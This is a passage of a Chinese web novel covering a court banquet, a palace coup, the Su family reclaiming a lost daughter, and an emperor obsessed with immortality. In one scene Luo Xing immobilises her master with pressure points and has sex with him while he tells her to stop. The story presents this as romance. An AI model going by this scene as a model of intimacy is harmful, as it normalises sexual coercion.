神情却依然冷硬,“南魏密术数不胜数,只是因为南魏有这本书,就要挑拨离间。我若是信了, 岂不是对不起老头子十来年教导。” 一个大周人成为南魏国师的传人, 是不合逻辑, 但人与人之间, 除了道理利益,也是有感情的。 老头子除了她之外还有弟子, 她会生气,却不至于因为翻脸。 但老头子养她教她,是为了吸干她的武力,她不信。 苏天翊并不意外,罗星个性虽然张扬, 性子却是很像苏家人,至亲至情。 生恩,养恩, 到底哪个大, 向来都有争议。没有铁证, 只凭几句话否认不了生恩。 “最近一年,你的修行停滞, 国师教了你一门新功法。”苏天翊说着, “你自修行之后,停滞的修为是有所突破,却又总是在突破时,感觉力有不殆。” 罗星没有反驳,因为她确实如苏天翊所说。 每每修为看似有所突破时, 却总是差临门一脚。 苏天翊继续说着,又说出几处罗星修行上的问题,“你修的就是《洗髓大法》,南魏国师换了一个名字教给你。再过几年,等你修行大成时,你这一身功力就是别人的了。” 苏天翊说的越多,罗星脸色越难看,突然厉声打断苏天翊。 “苏先生的情报工作,确实做的好,连我修行的私事都晓的。你就是全说对了,也只能证明情报到位,并不能说明什么。” 罗星说的如此大声,这是说中了心事了。 苏天翊轻轻叹口气,“我说的能不能证明,你心中有数。” 百年一遇的天才,对于功法的修练,是有独到见解的。 一本秘籍练了一年,不可能没有感觉,要是什么都没察觉到,罗星未必会来京城。 罗星的怒意似有收敛,竟然没有反驳。 心底涌起的愤怒不甘,快要压抑不制的暴躁,想杀人。 做为一个强者,要面对各种各样的挑战,但她无法忍受感情背叛。 想要她的功力,呵,可笑。 她会杀了他。 苏天翊知道罗星听进去了,目光从罗星身上移开,转向南魏使团其他人时,突然定住了。 他的眼神犀利,仿佛要把对方看透。 “你若是不相信我说的,可以当场对质。”苏天翊说着,目光定定的看向某处。 众人的目光也跟着看了过去,只见南魏使团的最后面突然多了一个人。 说是突然多的是,是因为他的装束与使团其他人截然不同。 此人身上穿着一件灰色的僧袍,僧袍虽然有些破旧,但却十分干净整洁。 他个头不高,身材削瘦,整个人仿佛融入了周围的环境之中,完全不知道何时出现的。 “许久不见了,国师大人。”苏天翊笑着说。此言一出,众人皆惊。 南魏的那位国师,据说十几年前没露脸,连南魏的皇帝都没见过他。 据说都要修成神仙了,己经位列仙班,至少是众人心中的仙班。 一直相当的淡定南魏使团,也都惊呆了。 国师来了?什么时候来的? 连罗星都变了脸色,直直看了过去。 真的是他。 这么危险的时候,他竟然来大周了。 就在众人惊诧之时,对方掀开兜帽,露出一张格外年轻,也就是十六七岁那样,脸庞格外秀丽,气质内敛而温和。 若是别处见了,必然以为是哪家的小公子。 “不可能!”苏震岳脱口而出。 苏钰不禁看向他,“祖父认识他?” 苏震岳摇摇头,“我投军的第一年,边境大战,南魏的国师现身过,虽然戴着面具,但绝不会如此年轻。” 按照时间推测,南魏国师的年龄只比他大,不会比他小。 苏钰也震惊了,在场的都是各国高层,对于南魏国师的年龄,多少都是知道的。 震惊之外,心底浮起一丝希翼。 尤其是显庆皇帝。 南魏果然有秘法,还是能保持青春,甚至长生不老的秘法。 南魏的神学是真的。 既然是真的,国师可以修,他这个真龙天子也可以修。 到时候自己长生不老,千秋万代,岂不是要成为真正的人皇。 罗星看到国师,愤怒的对象出现了,怒气再无法压抑。 她一步上前,揪住国师的衣领。 国师没有躲闪,也没有反抗,任由她扯着。 “我刚才说的,国师大人想必听到了。”苏天翊说着,又看向罗星,“可以现场对质。” 国师被罗星揪着衣领,紧抿着唇。 他的沉默,无疑激怒了罗星,她手上的力气越发大了,“说话啊。” “罗宗涛,你说话啊。” 罗宗涛三个字出口,让众人愣了一下,连南魏使团都愣住了。 南魏国师地位尊崇,连脸都不看,名字更不用提了。一直以来,都认为国师是没有名字的。 直到此时,罗星喊了出来,众人才知晓,原来南魏国师也是有名字的,叫罗宗涛。 罗宗涛别开脸,他生的俊秀乖巧,被罗星这样拉扯着,竟然有种被恶霸欺负的小媳妇之感。 “国师大人,你该很清楚,我从来不说谎话。”苏天翊说着。 言下之意,他敢说就有足够的证据。 “唉。” 一声轻轻的叹息,被罗星揪着领子的罗宗涛,竟然消失不见。 这是要跑。 罗星想也不想追了上去。 苏略一直带着人埋伏着,见状想追上去,苏天翊摇摇头。 追不上,追上了也没用。 他是希望罗星回家,却更担心罗星被骗,糊里糊涂丢了性命。 现在罗星知道了真相,她要想怎么跟罗宗涛了断,就是她的事了。 在制定策略时,苏略曾经问过他,为什么要选在这个时候,各国使者进京,几乎是当着天下人的面。 因为这是一件注定瞒不住的事,那不如在所有人面前,自己说清楚。 罗星丢了,不是苏家失职,是慕容氏故意拐带,是慕容氏对不起罗家。 罗星受南魏国师教养,十几年养恩,不是罗星不报,而是罗宗涛另有他图,想要罗星的性命。 将来罗星反出南魏,不管是回归苏家,还是有其他想法,南魏都没资格养育之恩要挟他。 正主,苦主全在眼前,辩无可辩,办成铁案,才能不影响罗星的未来。 至于会影响到苏家和苏天华的仕途,只要苏家想认回女儿,就一定会有影响。 公开承认,私下承认,没有任何区别。 苏天翊向显庆皇帝拱手说着,“臣扰了皇上的盛宴,请皇上降罪。 一个晚上如此多的变故,显庆皇帝此时心里还装着长生不老的幻想,哪里还会责怪苏天翊,笑着说,“苏爱卿,有功无过,何罪之有。还是大功,天大的功劳。” 说着,显庆皇帝哈哈大笑起来,幻想着将来自己长生不老的模样。 “赐坐。”显庆皇帝再次说着,格外吩咐一句,“坐到朕身边来。” 苏天翊如此能干,肯定能为他取来南魏的长生秘法。到时候他也会赐药给苏天翊,成就一段君臣佳话。 这等得用的臣子,荣宠肯定要给足的。 内侍连忙搬来凳子,放到显庆皇帝身边,也是以前薛迟坐的地方。 “谢皇上。”苏天翊说着,到显庆皇帝身侧坐了下来。 “继续,乐曲奏起来。”显庆皇帝高兴说着。 歌舞再起,却无人有欣赏的心情。 除了显庆皇帝想着长生不老外,在场其他人都是有各有心思,一个晚上暴料太多,事情又发生的突然,都需捋一捋头绪。 北齐使者还好,毕竟自家是吃瓜的,完全不相干。 南魏使团最惨,突然间大暴料,然后,国师和小主子又都消失不见,一时间茫然不知措,根本就不知道要听谁的。 夜烬阳倒想趁机抓住控制权,奈何身上受了鞭刑,伤的有点重,有心无力。 大周的臣子心思最复杂,苏天翊回京,南魏小主子是苏家二姑娘。 一连串的事情,又与宫变同时发生。 看来不管宫变结果如何,苏家肯定是屹立不倒,就是罗星此时身份,会影响到苏天华的仕途,但众所周的撕开了,反而影响小了。 就是有所影响,罗星那样的人物,她只要愿意回归,能带来的荣耀更多。 “南魏欺人太甚。”慕容弦心头气愤难消,双手握拳。 这些年来,对于苏辰丢失之事,他也有过内疚,但怎么也没想到,竟然从头到尾都是阴谋。 他甚至忍不住联想,当年父王会突然病重,是不是南魏的阴谋。 “稍安勿躁。”慕容宁说着。 以苏天翊的性格,这么多年来,没对慕容弦下手,甚至答应保他一命。 绝不是因为他念旧情,只能是因为在罗星丢失一事上,慕容弦虽然有错,却不是主犯,甚至连从犯都算不上,只能说是个傻子。 今天的结果,让她意外也不意外。 慕容宁不自觉得抬头看向显庆皇帝身边的苏天翊,儒雅,坚毅,举手投足间,仿佛还带着当年的书生气。 记忆不自觉得回到从前,那时候的苏天翊也像现在这般的温和儒雅。 十年时间,都变了。 第189章 第 189 章 “站住,你给我站…… “站住, 你给我站住。” 罗星大声喊着。 南魏的身法诡异,看起来好像是消失术,其实有迹可寻。 深夜的皇家猎场,森林遮住了月亮, 看不到丝毫光亮, 却对奔跑的两人没有丝毫影响。 他跑的急, 罗星追的更急。 眼看着距离又要拉开。 “啊!” 罗星突然一声尖叫, 前头跑的罗宗涛下意识停住脚步,以为罗星遇到危险, 回头看去。 电光火石间,罗星欺身上前,连点罗宗涛身上几处大穴。 罗宗涛顿时一滞,身体软了下来。勉强靠着身边的树木,才撑住身体没倒下去。 “跑啊, 你不是挺能跑吗,怎么不跑了。”罗星不知道是累的,还是气的, 大口喘着气。 抬眼看罗宗涛还是站着, 罗星心情越发不爽, 伸手把他推倒在地上。 罗宗涛身体不受控的摔在草地上,他身材削瘦, 样貌又秀气。如此被点了穴道摔地上, 竟然有几分身娇体弱的意味。 罗星看着他,丝毫没有怜惜之情,胸口起伏着,愤怒之余,突然间想到了什么。 反正都这样了, 何必委屈自己。 想干就干,罗星顺势骑到他身上,过份贴近的身体接触,让罗宗涛微微皱起眉头。 “别闹。” 若不是身体受制,他肯定要把罗星推开了。 “会说话啊。”罗星揪着罗宗涛的衣领,“刚才苏天翊让你说,你怎么不说。” 气息越来越近,罗宗涛侧开脸,语气中透着无奈,“你乖一点,下来。” 罗星从来就没乖过,现在更不会乖。 “闭关的紧要关头,跑到这里来,你是想死啊。”罗星继续说着。 她能跑的这么顺利,是因为罗宗涛在闭关。 修行停滞,为了突破,罗宗涛一个月前闭了关,正常情况下,一年内都不可能出关。 罗宗涛依然没有说话,却是闭上眼。 罗星心知他是想冲开穴道,却一点都不着急,继续说着,“你知道的,你可以听你狡辩。” 罗宗涛唇抿的更紧了些,加速想冲破穴道。 罗星见他这副死样子,心中更气了,突然伸手去解他的僧袍。 一直闭眼不言的罗宗涛,脸色巨变,言语中终于有了几分师尊的威严,“阿星!” “你闭嘴。”罗星手上的动作更快了,“又不是第一次了,装什么小媳妇。” 十八岁生辰那天,罗宗涛给她过生日,喝的有点多。 以他俩的修为,喝多了本来也没什么。 罗星心中早有意,拉着罗宗涛滚来滚去,最后就滚到床上去了。 醒来之后,俩人都有点蒙。 也是那次之后,罗宗涛就开始穿僧袍。 罗星并没有生气,只是觉得僧袍也不错,有种异样的情趣。 但穿了僧袍的罗宗涛,就开始避着罗星。 “住手,你住手!” 罗宗涛涨红了脸,不知道是气的,还是因为其他。 罗星却是径自说着,“这么多年了,我的心思你早就知道。天天摆着师尊的架子,说什么师徒不伦。现在你要杀我,我叛出师门,己经反目成仇,就不是师徒了。” “一日为师,终身为父,你知不知道自己在做什么。”罗宗涛怒声说着。 罗星是他一手教养,养成这样,是他的错。 罗星年龄小不懂事,他不能让罗星行差踏错,毁了前程。 “我知道啊,我还买过话本子看呢。”罗星声音更大,“你算计我这么多年,现在还想要我的命,到底有什么脸在我面前自称师傅。” 罗宗涛顿时哑然,好一会才低声说着,“我没有。” 罗星心里的气消了几分,南魏国师有个秘密,除了传人之外,无人知晓。 南魏的国师都是百年左右更换一次,每一个都活了近百岁,或者超百岁。 理由是,国师是修行者,己是仙人,自然长寿。 其实是鬼扯,百年更换一个国师,是为了稳定政权。 连靠血脉传承的皇族,都经常有皇子造反,皇帝稍微换的勤一点,都会政局动荡。 南魏国师地位尊崇,要是换的勤了,南魏别说外对扩张,自家政局都稳不住。 也不知道哪个鬼才想出来的,反正国师是不用经常露脸的,就是露过脸,换张脸也很容易。 一个人难活百岁,但可以接力。 一代国师,有时候是两个人,有时候甚至是三个人。 世上从来没有长生不老,更没有修仙的法门。 国师府的传承,说起来是靠神学,其实还是人力。 罗星被带进国师府时,罗宗涛刚刚成为新国师,也就比她大十岁。 说是师徒,其实更像是师兄妹。罗星这种百年一遇的天才,能当她老师的人太少了,自修更快。 整整十四年,两人几乎是朝夕相伴。 罗星喜欢叫他老头子,是觉得他不符合年龄的老成。 反正从来没叫过师傅,罗星也不认为他是师傅。 感觉差不多了,罗星才解开罗宗涛的穴道。 翻云覆雨,罗宗涛穿好衣服,看罗星还躺着不动,又给她穿衣服。 罗星任由他侍侯着,却是说着,“你告诉我,到底是怎么回事?” 罗宗涛再次沉默了,好一会才沉声说着,“有句话,苏天翊说的是对的,没人会把自己的国家拱手让给外人。” 非我族类,其心必异,这是千古名言。 国师府用尽手段拐来罗星,当然不是为了让她下任国师的,而是看中她的天份,助其修行,得其功力。 “我也从来没有想过。”罗星暴躁的语气中带着一丝丝受伤。 要是罗宗涛七八十岁,马上要死了,考虑接任的问题理所当然。 罗宗涛只比她大十岁,两人又都是武者。正常情况下,罗宗涛还能再活几十年,两人谁能活过谁还不好说。 考虑接任继承,根本就没有意义。 “苏天翊希望你离开南魏。”罗宗涛说着,“但会不会让你回苏家,我也不知道。” 罗星是大周人,被南魏教养长大。南魏因为她的血脉,不能完全相信她。 而苏天翊会不会因为,南魏对她的养恩不相信她,也不得而知。 这么多年,苏天翊一直在找罗星。 他一直管着罗星,不想让她离开,是不想苏天翊把过往揭开。 无人知晓,只认准了一头,反而有立足之地,脚踩两只船,是要掉河里的。 现在苏天翊把一切揭破了,还是在天下人面前揭破,这是逼着罗星离开南魏。 “我没想过要回苏家。”罗星说着。 就像她从来没想过当南魏国师一样,苏家的一切,甚至苏天翊的一切,她都没有兴趣。 她懂事就在权利的巅峰,权利虽然好,但体会过了,也就那么回事。 罗宗涛给她系好腰带,理了理头发,眼中溢出的爱意与疚愧,让他无法看向罗星。 上次还可以说是喝醉了,这回又是这样。 “我追求的是武道巅峰,我会开创自己的时代。”罗星说着。 苏天翊当着天下人的面,揭开她的身份,她生气于罗宗涛的隐瞒,并没有太多的茫然不知所措。 她的人生目标早己明确,离开南魏是必然,当然也不会回苏家。 苏家姑娘,南魏小主子,都是别人给的身份。 她要的是自己的身份,以后旁人提起她,只是罗星。而不是南魏国师的爱徒,苏天翊的侄女。 *** 散席时接近午时,除了心情大好的显庆皇帝,其他人都是疲惫兼无语。 各自回府,除了苏天翊。 他被显庆皇帝叫住,临时召见。 显庆皇帝身体早己疲惫,但过于兴奋的心情,让他有些抑制不住。 “南魏既然有长生之术,朕命你寻来。”显庆皇帝急切说着。 饶是苏天翊都愣了一下,罗宗涛那张过份年轻的脸看着是不对劲,但外貌想改变容易的很,一天换一张都可以。 显庆皇帝能联想到长生之术,这也是奇葩。 没有辩解,苏天翊顺势说着,“臣己有安排,请皇上放心,最迟半年,臣能寻回神药。” 显庆皇帝听苏天翊说的如此肯定,连时间给出来了,顿时大喜,“朕就知道,有苏爱卿在,定可解忧。” 苏天翊语气诚肯,认真的恭维着显庆皇帝,一句不提这十年他都干了什么。 显庆皇帝也完全没有兴趣,朝政之事,自有薛迟料理,他现在最好奇长生之术。 又提到罗星,显庆皇帝高兴说着,“她既是苏家的女儿,自该回归苏家,骨肉团聚。” 罗星是南魏国师的爱徒,必然对长生之术十分了解,她认族归宗,必然会把秘术带回来。 苏天翊却显得十分犹豫的模样,“辰姐儿在南魏多年,只怕朝中大臣颇多议论。” “孩子走丢了,能找回来就是大幸。”显庆皇帝说着,“朕会下旨,给她正名。” 苏天翊一脸感激涕零的模样,“由皇上的正名,辰姐儿身世再无人议论,臣叩谢皇恩。” 显庆皇帝哈哈大笑,越发觉得得意。 一直到丑时,苏天翊才从宫里出来。 苏略一直在外侯着,赶紧迎了上去,小声说着,“父亲,宫里太后那边……” “只要薛迟不求助,就当什么都不知道。”苏天翊说着。 皇权争斗是皇子们的战场,臣子的做太多,表现的太能干,新皇登基未必有好果子吃。 第190章 第 190 章 第二天清晨,圣旨…… 第二天清晨, 圣旨传到别苑,显庆皇帝不但亲自给苏辰正名,还把苏辰夸了一番。 不知道的,还以为苏辰是在南魏当卧底, 立了大功回来。 苏震岳接了圣旨, 给传旨太监塞了银子, 传旨太监这才说了。 清漪园的宴会虽然结束了, 目前皇城还在戒严中,薛迟早调了一□□林军保护显庆皇帝。 显庆皇帝打算耗到关太后死, 皇城平定了,再回去。 南魏和北齐的使团己经向显庆皇帝辞行,都要政变了,他们也不想留下来当炮灰,显庆皇帝己经恩准。 慕容氏却没有动静, 还留在楚王府在京郊的别院。 送走传旨太监,苏震岳命下人收拾打包,马上回府。 宫变了, 城里肯定乱成一团。若是小门小户, 或者官职不高的, 还可以留在城外避祸。 苏家的祸属于避不了,灭九族的时候都跑不掉。 回去的人马中, 并没有苏天翊和苏略。 宫宴之后, 两人根本就没回来,连苏震岳都不问,其他人更不敢说。 苏钰跟着谷夫人上了车,车驾缓缓向城中走时,苏钰挑起车帘往外看。 京城要变天了, 想留在城郊避祸的有,更多的是着急赶回去的。 薛迟选个时间点向关太后发难,确实不错。 三品以上大员都陪着显庆皇帝开庆功宴了,就是关楚河在皇城,应对起来也会措手不及。 谷夫人拍拍她的手,示意她安心,“你父亲都回来了,不会有事。” 苏钰放下车帘,长长吁了口气,“我还是急燥了。” 谷夫人笑了,欣慰又高兴,“发生了那么多事,只是有些急燥,己经很了不起了。” 十九岁的千金小姐,未婚夫在宫变,父亲回归,又得知当年亲舅要杀她。 几重压力下,能够当场原谅舅舅,打感情牌拉拢慕容氏。 这份果断与心机,谷夫人自觉得,自己十九岁时做不到。 苏钰,确实合适当皇后。 急促的马蹄声响起,苏钰下意识掀起帘子,只见谢无衣快马往城门方向。 苏钰眉头不自觉得拧了一下,谢无衣这个时候辞了建章营骑的差事,倒是有一个解释。 无官一身轻,可以不用听宣了,反而出入自由,省得许多麻烦。 “晋阳长公主把全副身家都压上去了,她没有任何退路。”谷夫人说着。 晋阳长公主对薛迟的支持,是没有任何保留的,生死一把的豪赌。 谢无衣不管为什么会出现,都不是敌人,这就够了。 “老太太说的是。”苏钰放下帘子,不再去想原由。 事情太多时,件件都去深究,累都累死了。 午饭前,车驾驶回苏家,这两天的折腾,众人皆疲惫不堪,各自回房休息。 众人散去,二房众人回到降雪阁,叶氏激动的神情依然没办法平复,她实在没办法平复,初看到罗星时,她就觉得眼熟。 怎么没想到,竟然是自己的亲生女儿。 “我的辰姐儿,到底吃了多少苦。”叶氏哭着,又责怪苏天华和苏邑,“你们早就知晓了,都不告诉我。” 苏天华伤势颇重,进屋后就躺床上养伤。自知理亏,索性装死一声不吭。 叶氏心疼他,转头火力全力对着苏邑。 苏邑倒是老实,从品花楼与罗星初见开始,一五一十全说了。 叶氏边听边掉泪,苏邑忍不住说着,“母亲不用为姐姐担心,她很好的。” 张扬跋扈的个性,横扫天下的武力值。罗星这辈子,肯定是怎么样就怎么样。 别说女子,男子都未必有她活的舒心自在,她若是都可怜,天下间真没几个幸福的了。 “幼时就被拐走,那些南魏人能对她多好。”叶氏哭泣说着。 要是因缘际会,路上捡的孩子,遇上好心的养父母还有可能对孩子好。 但偷拐的孩子,都是带着目的性的,好不好的,就看有没有用。 “她现在在哪,到底有没有派人去找?”叶氏又问着。 苏邑表情为难,“派人去了,但是……” 罗星的问题是,她愿不愿意回来。 她要是不想回来,没人能勉强她。 “二姑娘来了……” 婆子扬声说着,比平常格外大了些,好像是在提醒屋里人。 云棠看一眼婆子,继续往屋里走。 苏家众人虽然刚刚回来,却己经全府皆知,真正的二姑娘是南魏国师的爱徒,是个飞檐走壁,超级牛逼的能人。 现在府里的,也就是她,是假的。 主子们对此还没有说法,下人们的议论却是拦不住的。 别说其他人,连云棠的贴身丫头,看她的神情都有些怪怪的。 刚才往降雪阁走时,还听到两个婆子悄悄议论着。 “这位云棠姑娘,也真是命苦。” “她这身世也是太不堪,哪怕是个丫头呢。太太向来心善,怎么也能留在府里。” 云棠当时听得就有些失神,却明白其中的道理。 勾栏里出身,当过外室,还当过孩子,这就不是身份低的问题,更多的是有侮门楣。 要是亲生的,丢人就丢人了,总是自己的亲生骨肉。 现在是不知道哪里来的冒牌货,就是主人家心善,也不好留府里了。 “母,二太太。”云棠不自觉得改了口,心情说不出是怅然还是什么。 她早知道自己不是苏辰,也向苏天华坦白。 只是那时候苏辰还没找到,叶氏思女心切,她代替苏辰尽孝。 现在苏辰找回来了,她也该功成身退。 就像婆子说的,她要是身世没那么不堪,她还有脸求着留下来。 那样不堪的身世,己经给苏家带来太多的耻辱,她实在没脸留下来。 叶氏正哭着,并没有留意到云棠的称呼,只以为云棠是来看苏天华的,一边擦泪一边说,“大夫说了,你父亲没事,养养就好,不用担心。” 苏天华注意到云棠的称呼,当即说着,“辰姐儿是找回来了,但既认了你当女儿,你就是我们的女儿。” 在认下云棠时,他就考虑过,将来要是找回苏辰了,怎么安置云棠。 当初既然认下了,就是再有变故,也会留下她。 叶氏这才反应过来,连忙对云棠说着,“你这孩子胡思乱想什么,辰姐儿是我女儿,你也是。” 她一直沉浸在找回苏辰的情绪中,完全没有考虑过云棠。 也是觉得没必要考虑,苏家又不是没钱吃饭,多养一个女儿根本就没妨碍。 苏天华和叶氏没有丝毫犹豫的态度,让云棠眼泪落了下来,心中的感激到了顶点,给俩人跪了下,哭泣着颤声说着: “我身世不堪,能够留在府中,长伴在太太身侧,己是我的福气。我不能再让苏家蒙羞,太太怜惜,我留在府中当个丫头,侍奉太太左右。” 叶氏连忙把云棠扶起来,“你这孩子就是想的太多,我要是嫌弃你的出身,当初就不会认你回来。既做了我的女儿,这辈子就不会变。” 苏邑也跟着说,“二姐,呃,是云棠姐姐,你也是我的姐姐。” 叶氏想了想,“云棠这个名字,你若是不喜欢,可以再另取一个。” 云棠是勾栏里给起的花名,若是用这个名字,只怕会勾起她的伤心事。 云棠想了想,摇摇头。 这个名字是老鸨子取的,虽然是老鸨子,但抚养她成人,对她也是极好的。 既有养恩,她就不想换名字。 苏天华道:“最近府里事太多,顾不上你。等事情过去了,我会禀告老太爷和老太太,认你为义女,还是我们的女儿。” 云棠是当做苏辰被找回来的,现在真苏辰要回来了,云棠就需要一个新身份。 不然就这么不明不白的,反而让人看轻了云棠。 云棠再次跪了下来,语气坚定,“父母再生之恩,我下辈子结草衔环以报之。” *** 北齐使者当天下午就离开了京城,宫变,苏天翊归京,南魏小主子是苏天翊的侄女。 一条条消息早就飞鸽传回了北齐,使者们也不敢大意,想赶紧离开事非之地。 紧赶慢赶终于到了北齐边境,众人松口气,正想着去找驿馆时,就听官道旁边传来一个声音,“一群废物,让我等了这么久。” 北齐使者顿时吓了一大跳,只见罗星从旁边树上一跃而下。 都见识过罗星的手段,北齐使团人数虽然多,却不自觉得后退一步。 “罗,苏,苏姑娘?”北齐使者声音微微有些发抖。 苏天翊的侄女,更是苏天华的亲女。 皇家猎场,他们才算计了苏天华,害得苏天华重伤。 罗星笑了,“既然叫我苏姑娘,看来是知道,我找你们是什么事了。” 北齐使者下意识后退一步,声音努力带着据理力争的高亢,“北齐与大周多少年恩怨,苏天翊更是害得,害得……啊。” 尖叫声响起,罗星动手了,她随手折下一段柳条,抽向使团众人。 她动作看似轻柔,柳条抽到人时,就是一阵哀嚎。 她边打边说,“你们若是正大光明赢,我无话可说,手段如此肮脏。那总是我生父,我也不好视而不见。” 北齐使者被抽的全身快抽搐,大声喊着,“苏天翊从来都是卑鄙无耻。” 罗星听得笑了,“你有本事,你也去打他啊。” 北齐使顿时气结。 他要是有这个本事,他早把苏天翊杀了。 “放心,难得天下太平,我不会杀你们的。”罗星说着。 190-200 第191章 第 191 章 宫宴结束后,大臣…… 宫宴结束后, 大臣回府,京城诡异的安静。 与年前慕容宁那次血洗不同,这回高门大户的门户不是再是关闭的。 勋贵清贵没一个闲着的,悄声商议着, 悄悄的来, 悄悄的走, 生怕被人知晓。 “姑娘, 传饭了。”琉璃小声说着。 苏钰刚从床上起来,闹了几天, 终于补回了睡眠。 起身走过去,小丫头们摆着饭。没有额外要求,饭菜是厨房准备,非常清淡的一菜一汤。 苏钰愣了一下,她从来没在餐桌上看到过这种食物。 随即反应过来, 这是担心下毒,食材以及经手人全部都要谨慎,严选的情况下, 能上桌的食物自然少了。 绿川见苏钰脸色不定, 就想解释一番, 厨房来了一个新厨子,专门给苏钰做饭。 新厨子就做了这些, 丫头婆子的饭, 还是原来的厨子做的。 现在苏钰吃的,连下人都不如。 “挺好的。”苏钰说着坐下来,开始吃饭。 慢悠悠吃着,几乎把一菜一汤都吃完了。 平常不想吃饭时,还有各种点心加餐, 现在每天就这些,肯定得餐餐吃饱,不然就得饿肚子。 一时间饭毕,绿川旁边侍侯着苏钰洗手,苏钰问着,“现在府里,是老太太管家吗?” 绿川点点头,“二老爷还在养伤,二太太照顾,老太太暂时管家。现在府里四门紧闭,日常采买也有护院跟着,没有主子允许,下人们都不准外出。” 丫头婆子对京城局势并不懂,但府内护院增加了三倍,下人也被禁止出门,形势之紧张可想而知。 现在下人之间的八卦议论都少了,各个行色匆匆,说话都不敢大声。 胡婆子突然说着,“幸好是老太太管家,三太太娘家人来了,被请了出去。” 关氏从莲花庵回来,本来是件喜事。 但也因为她回来了,关家人这时候上门来,应对起来就有点麻烦。 要是叶氏管家,少不得还得撕扯一番。 现在谷夫人管家,都清静了。不通传,关氏都不知道娘家人来了,直接把人请走。 “大厦将顷,都在想退路。”苏钰有几分自言自语说着。 关氏父亲的仕途不错,但年龄大了,早己退休。兄弟就逊多了,现在在关家属于打酱油的,官职平平,仕途平平。重要的事情就是想掺和,也掺和不上。 但既然姓了关,出事了,肯定是跑不掉的。不能只占家族便宜,不背锅。 现在来找关氏,肯定不是来打听消息,自己都一无所知,想打听都不知道要打听什么。 多半是想着寻个退路,万一关家败了,抄家灭族都有可能。 趁着这个时候,转移部分财产到亲戚家里,有些还会把家中的幼子幼女想办法送走,都是为了留条退路。 要是苏家和关家都没参与夺嫡,不是政敌关系,亲家找上门想找个退路,就是不愿意,也会好生招待,拒绝也会说明原由。 但眼前苏家与关家的关系,你死我活,关家的退路不合适留到苏家。 只希望关氏的兄弟早点明白,赶紧寻找合适的亲戚,别耽搁时间。 会这么做的关家人肯定不止一个,苏钰想到了关子烨。 与关氏的兄弟比,关子烨是关家年轻一代的佼佼者,连婚事都是关楚河钦点的。 这种关键时候,其他关家人还可以想个退路,他估计是退无可退。 苏钰眼色幽深,不禁看向窗外,轻轻叹了口气。 与关子烨相识这些年,两家关系己至水火不容,友情就不讲了,只希望不要刀剑相向。 胡婆子见状,还以为她担心自己的退路,小声说着,“姑娘无须担心。” 南魏和北齐的使团都走了,慕容氏还没走。 一是因为显庆皇帝还没答应,放慕容宁离开。 再就是,万一败了,慕容弦还能趁机带走苏钰。 慕容宁一遍遍推演,应对各种突发情况,方案都做了四个。 不管苏家如何,都能确保苏钰能跟着慕容弦平安回到西北。 苏钰知道胡婆子误会了,却没有解释,心中涌起一阵暖意。 不管如何,自己的母亲总是尽可能在为自己周全。 “父亲回来过吗?”苏钰突然问。 胡婆子摇摇头,“大老爷和大公子都不在家,现在府里是老太爷管着。” 本来最合适的人选是苏天华,他正值壮年,但受了伤还躺在床上。 苏邑年龄还小,苏震岳更合适。 府里护院加上苏略调派来的人手,以及府里的男仆,全部由苏震岳指挥,分为两班,日夜巡逻。 苏钰听得点点头,突然想了起来,“程太太和程姑娘可还好?” 绿川笑着道:“早几天就被三太太接进府里了。” 关太后出事当天,苏略就派人回府传了话。 因为留下的护院够多,再加上府里也没有重点人物,并不担心安全问题。 回来的人只提醒不要外出,有客来也不要见,紧闭门户就好。 关氏知道其中厉害,把云棠都叫过来与苏玫一起住,这样安保范围更小,护院比较好安排。 苏玫就想到了杨云娘母女,她俩孤儿寡妇的,京城要变天了,随便掉下来一块瓦那都是天大的事。 吱吱唔唔的跟关氏提了,关氏愣了好一会神,最后派人把杨云娘母女接了过来,安置在乐道堂的东厢房,也是程采蓝母女住过的地方。 “三太太是真的想开了。”苏钰不禁说着。 能派人把程采蓝母女接过来,与心胸没有关系,纯粹是放下了。 放下了苏天佑,放下了这段夫妻关系,才能平和的接受杨云娘母女俩。 也挺好的,都是亲戚,以后少不了打交道,总是别别拗拗的也不好。 十天后,关太后薨逝。 关太后咽气的当天,显庆皇帝昭告天下,薛迟乃是程皇后嫡子,因被关贵人迫害,不得已放到公主府抚养。 现正其身份,册封为太子。 同时追究关贵人毒害程皇后的罪行,赐白绫。 关太后咽气当天,关贵人就跟着走了。 消息传到苏家时,苏钰正在看书。 难得的秋日阳光,正想着要不要睡一会,就见绿川满脸喜色地跑了进来,激动说着:“姑娘,你要当太子妃了。” 薛迟成了太子,苏钰就是太子妃,未来的皇后。 这重身份转变,由臣到君,这是一步跨上天阶了。 苏钰放下书,一直悬着的心终于放下来,脸上的笑意忍不住,却很快收敛起来,说着,“太后大丧,女眷们都得进宫,快去准备。” 一个时辰后,苏家男男女女出发去皇城。 太后大丧属于国丧,此时皇城一片白色,赶来奔丧的大臣诰命,皆是身着孝服,神经崩的很紧,生怕行差踏错。 关太后是死了,关楚河还活着,关家至少看起来还没有倒,手里还有大皇子和三皇子。 倒是薛迟突然成了太子,只怕夺嫡之争很快会进入第二阶段。 这种时候要是出了错,被人挑出毛病,怎么死的都不知道。 “苏姑娘,您的车驾在这边。” 刚进宫门,就有管事太监迎了上来,态度谄媚至极。 皇宫最是拜高踩低的,苏家权势,薛迟的太子身份,苏钰自然是水涨船高。 做为准太子妃,皇宫行走有没有车驾,全看受不受宠。 苏钰神色淡然,对于眼前太监的态度并不意外,扶着小太监上了车。 谷夫人和叶氏是一品诰命,自有车驾,关氏跟谷夫人一车。 车驾缓缓驶向慈宁宫,苏钰脑中复习着嬷嬷的教学内容。 太后大丧是有流程的,入敛之后停灵在慈宁宫,命妇们先跪拜哭灵,再有钦天监挑选日子,移棺椁至皇陵,丧礼才算正式开始,宫里这些只是前奏。 皇家大丧,孝期只有二十七天,二十七后,朝廷继续运转,然后国孝是九个月。 关太后死了,按着显庆皇帝的意思,随便埋了。至于关贵人,尸体直接扔到乱葬岗。 还是薛迟进言,说显庆皇帝是千古名君,后世肯定要大书特书,若是太后葬礼有差迟,岂不是要被后世议论。 至于关贵人,总是给皇家生了一儿一女,伴驾十几年,人都死了,好好安葬更能显得天家的宽厚。 贵妃的丧仪就别想了,皇陵也不入,棺椁送入皇家寺庙青云寺,由青云寺主持安排葬礼,就葬到青云寺后山。 显庆皇帝听得有理,处处都在为他考虑,越发觉得薛迟合心意。 这回更是替他搞死了关太后,除掉心头大患, 有这么一个儿子辅佐身侧,他定能心想事成,再有苏天翊找来的长生之术,他就是千古一帝了。 “跪。”太监高声唱喝着。 苏钰做为准太子妃,内务府给她安排的位次,皇族女眷队列的C位,也就是左边队列第一位。 太后死了,关贵人也死了,显庆皇帝后宫里连妃都没有,都是答应常在这些。 